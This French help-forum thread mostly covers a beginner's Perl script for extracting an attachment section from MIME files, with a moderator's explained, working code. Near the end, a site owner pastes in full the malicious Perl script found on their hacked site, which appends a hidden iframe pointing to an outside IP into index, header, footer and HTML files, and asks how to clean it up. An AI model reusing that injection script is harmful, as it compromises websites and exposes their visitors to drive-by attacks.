Extraire le contenu d'un fichier avec perl

titexe Messages postés 55 Statut Membre -  
 Waba -
Bonjour,

nous recevons toujours des fichiers dans le format ci_dessous et on voudrait extraire que la derniére partie dans un autre fichier avec un script perl;

le format du fichier recus :


This is a multi-part message in MIME format.

------=_NextPart_000_0121_01C708D0.7AEEAB30
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

-----Message d'origine-----
De : KHALID MONCEF
Envoyé : mercredi 15 novembre 2006 15:49
À : 'pfe@gis.ma'
Objet : Envoi d'un message : OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl

Le message est prêt à être envoyé avec le fichier suivant ou les liens
joints :

OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl

Remarque : pour se protéger de virus informatiques, il se peut que les
programmes de messagerie électronique évitent d'envoyer ou de recevoir
certains types de pièces jointes. Vérifiez les paramètres de sécurité de
votre messagerie électronique pour déterminer de quelle manière les pièces
jointes sont gérées.

------=_NextPart_000_0121_01C708D0.7AEEAB30
Content-Type: application/octet-stream;
name="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OR|99|CT|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005||||||
&|6|

---_NextPart_000_0121_01C708D0.7AEEAB30--

ce que nous voulons extraire , c'est juste la derniére partie:

filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
@|99|OR|99|CT|200608091600|2006|212121||DD|TEST||||
D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005||||||
D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005||||||
D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005||||||
&|6|

D'avance merci,

je suis qu'un débutant , merci de m'aider a completer cette tache,

Cordialement.

21 réponses

  • 1
  • 2
  1. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Salut,
    #!/usr/bin/perl
    use strict;use warnings;
    
    open F_LIRE,"fichier"
       or die "E/S : $!\n";
    
    open F_ECRIRE,">> resultat"
       or die "E/S : $!\n";
    
    while(<F_LIRE>){
      print F_ECRIRE if /^filename=/.../^\s*$/;
    }
    
    close F_LIRE;
    close F_ECRIRE;
    __END__
    
    lami20j
    2
    1. titexe Messages postés 55 Statut Membre 1
       
      merci beaucoup lami20j pour votre réponse,

      Q: pourriez tu, juste m'expliquer cette ligne :


      while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; }

      # affiche le contenu du fichier en commencant par filename jusqu'a? ( normalement jusqu'a la ligne &|6] )

      Q: et comment lancer ce script?

      je pense qu'il faut lancer de cette maniére : script.pl fichier

      Merci encore une fois,
      0
    2. titexe
       
      merci lami20j , j attends vos réponse , merci
      0
  2. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Re,
    open F_LIRE,"fichier"
       or die "E/S : $!\n";
    J'ouvre une connexion(handle) du script vers le fichier appellé fichier
    En langage plus naturel, j'ouvre en lecture le fichier appellé fichier

    au lieu de fichier on peut aussi écrire /chemin/vers/fichier

    open F_LIRE,"/chemin/vers/fichier"
       or die "E/S : $!\n";
    J'appelle cette connexion (ouverture), F_LIRE
    open F_ECRIRE,">> resultat"
       or die "E/S : $!\n";
    J'ouvre une connexion(handle) du script vers le fichier resultat
    Il s'agit d'une ouverture en mode ajout.
    Le mode ajoute n'écrase pas le fichier s'il existe et il ajoute à la fin

    au lieu de resultat on peut écrire aussi /chemin/vers/resultat
    open F_ECRIRE,">> /chemin/vers/resultat"
       or die "E/S : $!\n";
    J'appelle cette connexion (ouverture en mode ajout), F_ECRIRE

    while(<F_LIRE>){
      print F_ECRIRE if /^filename=/.../^\s*$/;
    }
    Ici je lis le fichier ligne par ligne en utilisant l'opérateur diamant <> et le nom de ma connexion en lecture
    et écrit dans resultat seulement le paragraphe compris entre
    filename= et la ligne vide après le paragraphe (donc ce que tu as besoin

    print F_ECRIRE if /^filename=/.../^\s*$/;
    veut dire
    écrit dans resultat si compris entre filename= et la ligne vide après le paragraphe
    close F_LIRE;
    close F_ECRIRE;
    fermeture de la connexion vers les fichiers une fois le travail terminé.

    Pour exécuter le script tu tapes simplement
    mon_script.pl
    après avoir attribuer les droit d'exécution
    chmod a+x mon_script.pl
    ou
    perl mon_script.pl
    lami20j
    0
  3. titexe Messages postés 55 Statut Membre 1
     
    Re,

    j'ai essayé de faire ce que tu m'as dis , mais on exécutant il me sort des messages d'erreurs , et il crée pas le fichier resultat;

    extract.pl:

    #!/usr/bin/perl

    use strict;use warnings;

    open F_LIRE,"D:\Shared\Perl\F0006741.dc"
    or die "E/S : $!\n";

    open F_ECRIRE,">> D:\Shared\Perl\resultat"
    or die "E/S : $!\n";

    while(<F_LIRE>){
    print F_ECRIRE if /^filename=/.../^\s*$/;
    }

    close F_LIRE;
    close F_ECRIRE;
    __END__

    et voila le message d'erreur qui m'affiche :
    D:\Shared\Perl>perl extract.pl
    Unrecognized escape \S passed through at extract.pl line 5.
    Unrecognized escape \P passed through at extract.pl line 5.
    Unrecognized escape \F passed through at extract.pl line 5.
    Unrecognized escape \S passed through at extract.pl line 8.
    Unrecognized escape \P passed through at extract.pl line 8.
    E/S : No such file or directory
    D:\Shared\Perl>

    es ce qu'on peut mettre le fichier d'entrée comme variable ?

    genre : perl extract.pl mon_fichier ?

    Merci encore une fois,
    0
  4. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Essaie
    #!/chemin/vers/ton/perl
    
    use strict;use warnings; 
    
    open F_LIRE,'D:\Shared\Perl\F0006741.dc' 
    or die "E/S : $!\n"; 
    
    open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
    or die "E/S : $!\n"; 
    
    while(<F_LIRE>){ 
    print F_ECRIRE if /^filename=/.../^\s*$/; 
    } 
    
    close F_LIRE; 
    close F_ECRIRE; 
    __END__ 

    lami20j
    0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. titexe Messages postés 55 Statut Membre 1
     
    re,

    merci pour ta réactivité,

    le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?
    Merci encore une fois
    0
    1. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
       
      Mets ton fichier .dc sur cjoint.com

      Merci.

      lami20j
      0
  7. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Salut,

    Je vois ce que c'est.
    C'est pour ça qu'il faut faire attention de ce qu'on doit comme info

    tu as dit
    filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" 
    @|99|OR|99|CT|200608091600|2006|212121||DD|TEST|||| 
    D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005|||||| 
    D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005|||||| 
    D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005|||||| 
    D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005|||||| 
    D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005|||||| 
    D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005|||||| 
    &|6| 

    mais en fait c'est
    	filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"
    
    @|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
    D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
    /2005||||||
    D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
    /2005||||||
    D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
    /2005||||||
    D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
    /2005||||||
    D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
    005|21/01/2005||||||
    D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
    005|21/01/2005||||||
    &|6|
    Et ça change tout.

    Donc il y a une ligne vide entre la ligne avec filename et le paragraphe
    En plus filename n'est pas au début de la ligne, avant il y a des espaces

    moi je cherchais ^filename, donc un filename au début de ligne
    jusqu'à la ligne vide qui fini le paragraphe

    tu comprends le problème?!

    je vais voir ce soir, je n'ai pas la possibilité de tester

    lami20j
    0
  8. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    essaie avec
    #!/chemin/vers/ton/perl
    
    use strict;use warnings; 
    
    open F_LIRE,'D:\Shared\Perl\F0006741.dc' 
    or die "E/S : $!\n"; 
    
    open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
    or die "E/S : $!\n"; 
    
    while(<F_LIRE>){ 
    print F_ECRIRE if /\s+filename=/.../^---/; 
    } 
    
    close F_LIRE; 
    close F_ECRIRE; 
    __END__ 
    lami20j

    P.S.
    le script s'exécute sans erreurs mais le fichiers resultat.txt est vide?

    Le fait que le fichier resultat.txt a été créé veut dire que le script fonctionne.
    Mais à cause de format que tu as donné au début il ne trouve rien, donc il n'écrit rien dans le fichier que le script a créé
    0
  9. titexe Messages postés 55 Statut Membre 1
     
    ca marche lami20j;merci beaucoup;

    voila le contenu du fichier resultat.txt

    filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl"

    @|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
    D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=
    /2005||||||
    D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=
    /2005||||||
    D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=
    /2005||||||
    D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=
    /2005||||||
    D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=
    005|21/01/2005||||||
    D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=
    005|21/01/2005||||||
    &|6|

    juste un dernier truc, comment rendre le nom du fichier comme argument;

    1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?

    2/ comment enlever les retour chariot dans le fichier resultat.txt*
    le fichier doit etre comme ca :

    @|99|OB|99|CO|200608091600|2006|212121||DD|TEST||||
    D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=/2005||||||
    D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=/2005||||||
    D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=/2005||||||
    D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005||||||
    D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=005|21/01/2005||||||
    D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=005|21/01/2005||||||
    &|6|

    Merci encore une fois.
    0
  10. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Re,

    juste un dernier truc, comment rendre le nom du fichier comme argument;

    1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ?

    #!/chemin/vers/ton/perl
    
    use strict;use warnings; 
    
    open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
    or die "E/S : $!\n"; 
    
    while(<>){ 
      print F_ECRIRE if /\s+filename=/.../^---/; 
    } 
    
    close F_ECRIRE; 
    __END__ 


    2/ comment enlever les retour chariot dans le fichier resultat.txt*

    essaie ça (je n'ai pas testé)
    #!/chemin/vers/ton/perl
    
    use strict;use warnings; 
    
    open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
    or die "E/S : $!\n"; 
    
    while(<>){ 
      s/(\d=)\r?\n?/$1/;
      print F_ECRIRE if /\s+filename=/.../^---/; 
    } 
    
    close F_ECRIRE; 
    __END__ 
    lami20j
    0
  11. titexe Messages postés 55 Statut Membre 1
     
    Pardon lami20j,

    je sais que j'ai abusé, je m'excuse encore une fois ,

    c'est trés important pour moi de résoudre ce probléme, le plus vite possible,

    merci encore une fois;
    0
  12. titexe Messages postés 55 Statut Membre 1
     
    Merci infinément,

    ca a marché pour les 2 points;

    le fichier en argument , et le retour chariot;

    maintenant je vais lancé ce script perl a partir d'un script shell,

    #!/bin/sh

    /usr/bin/perl -x extract.pl F0006741.dc

    es ce que cette commande est juste?

    Merci encore une fois;
    0
  13. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Tu es toujours sous windows?
    0
  14. titexe Messages postés 55 Statut Membre 1
     
    ton script je l'ai testé sur os windows, mais je veux l'integré dans un script shell dans un environnement Unix ( os = AIX)
    0
  15. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Re
    #!/bin/sh 
    
    /usr/bin/perl extract.pl F0006741.dc 

    mais je veux l'integré dans un script shell dans un environnement Unix

    Dans ce cas il faut faire attention pour les caractère nouvelle ligne \n et retour chariot \r.

    Il faut tester le script pour voir ce que ça donne. Tu risques d'avoir des erreurs.

    lami20j
    0
  16. titexe Messages postés 55 Statut Membre 1
     
    merci encore une fois :-)

    je voyais ce resultat comme un reve,

    maintenant le traitement que je vais effectué aprés avec ( awk et shell) , je vais recuperer de ce fichier resultat.txt le nom du fichier qui se trouve dans filename="nom_du_fichier".

    et je vais supprimer les 2 premiéres lignes et les 2 derniéres comme ca j'aurais juste le contenu du fichier,

    je vous informe que ces fichiers je les recoient dans une plateforme d'echange ,et je doit extraire du fichier originale le nom du fichier et son contenu:

    nom du fichier= OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl

    contenu =
    @|99|OR|99|CT|200608091600|2006|212121||OD|ACTES||||
    D|2006|121201300030001011|08|1|1014|1365|300000.0|1|1|10|10/01/2005|20/01=/2005||||||
    D|2006|121201300030001012|08|1|1014|1365|200000.0|1|2|11|10/01/2005|20/01=/2005||||||
    D|2006|121201300000001040|08|1|1014|1365|400000.0|2|3|15|15/01/2005|21/01=/2005||||||
    D|2006|121201300000001060|08|1|1014|1365|300000.0|2|4|16|15/01/2005|21/01=/2005||||||
    D|2006|320011300800001011|08|3200113008|1014|1365|400000.0|3|5|12|12/01/2=005|21/01/2005||||||
    D|2006|320011300800001020|08|3200113008|1014|1365|400000.0|3|6|13|13/01/2=005|21/01/2005||||||
    &|6|

    juste pour vous information;

    merci encore une fois,

    j'ai encore des traitements maintenant a faire avec awk et shell pour obtenir ce qui précede.

    es ce que je peux avoir vos suggestions a ce propos?

    Merci beaucoup lami20j
    0
  17. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    je voyais ce resultat comme un reve,

    Avec CCCM = Communauté|entre|onsortium Comment Ça Marche les rêves deviennent réalités.

    je vais effectué aprés avec ( awk et shell)

    Bon, je ne vais pas exagéré de te demander pourquoi tu ne veux pas faire ça en perl.

    Pfffff!!! Je viens de le faire :-)))))))))))

    J'espère que les maîtres jipicy et asevere ou asevere et jipicy passeront par là :-)

    lami20j
    0
  18. charlie
     
    Bonjour,

    J'ai eu une attaque sur un de mes sites de la façon suivante (fichiet iframer.pl à la racine du site) :
    #!/usr/bin/perl

    use File::Find;

    $iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';

    sub process_file {
    if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm/i){
    open(FILE,">>$File::Find::name");
    print $File::Find::name."\r\n";
    print FILE $iframe;
    close(FILE);
    }
    }
    find(\&process_file,@ARGV);

    Celui a infecté tous les fichiers nommés ci-dessus... Pouvez-vous m'aider pour coder en perl une action qui supprimerai l'iframe dans tous les fichiers infectés en automatique. Je suis désolé de m'y prendre comme cela mais je suis néophyte en Perl.

    Merci d'avance pour votre aide.

    Bien à vous.
    0
  19. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Salut,

    je pourrai peut être t'aider
    ton site est hebergé par qui?
    0
    1. Shasam Messages postés 1 Statut Membre
       
      Bonjour à toi,

      C'est sympa d'avoir répondu...
      Je suis hébergé chez OVH

      je suis entrain de bosser sur la commande suivante mais je pense qu'il me manque encore du code bien écrit :

      #!/usr/bin/perl -n -i

      while ($ligne = <>) {

      $ligne = print unless (<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>);

      print $ligne;

      }

      Merci de ton aide, c'est sympa...

      Bien à toi.
      0
  20. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    je te conseille de rien faire et avoir un peu de patience
    je vais regarder ce soir
    j'aimerai aussi que tu mets sur cjoint.com un fichier pour que je puisse faire des tests
    merci
    0
    1. shasam
       
      Bonjour,

      Désolé de ne pas t'avoir répondu plutôt mais j'ai du m'absenter hier en fin d'après-midi.

      Voici le lien que tu m'as demandé : https://www.cjoint.com/?efjs0GtXmc

      C'est très sympa à toi de prendre du temps pour m'aider...

      Je te souhaite un bon week-end.

      JC
      0
  21. lami20j Messages postés 21506 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   3 571
     
    Salut,

    sur cjoint tu as mis le scirpt qu'on l'a déjà vu ici Message 22
    ce que j'ai besoin c'est le contenu de tes pages infectées (les pages web)
    à vrai dire, il sera plus facile de pouvoir me connecter sur ton serveur pour voir (ce n'est pas la 1ère fois que je le fait)

    à toi de decider.

    Si tu ne l'as pas fait, je te conseille de faire une sauvegarde de ton site.
    Il faut aussi faire un rapport d'incident chez OVH

    0
  • 1
  • 2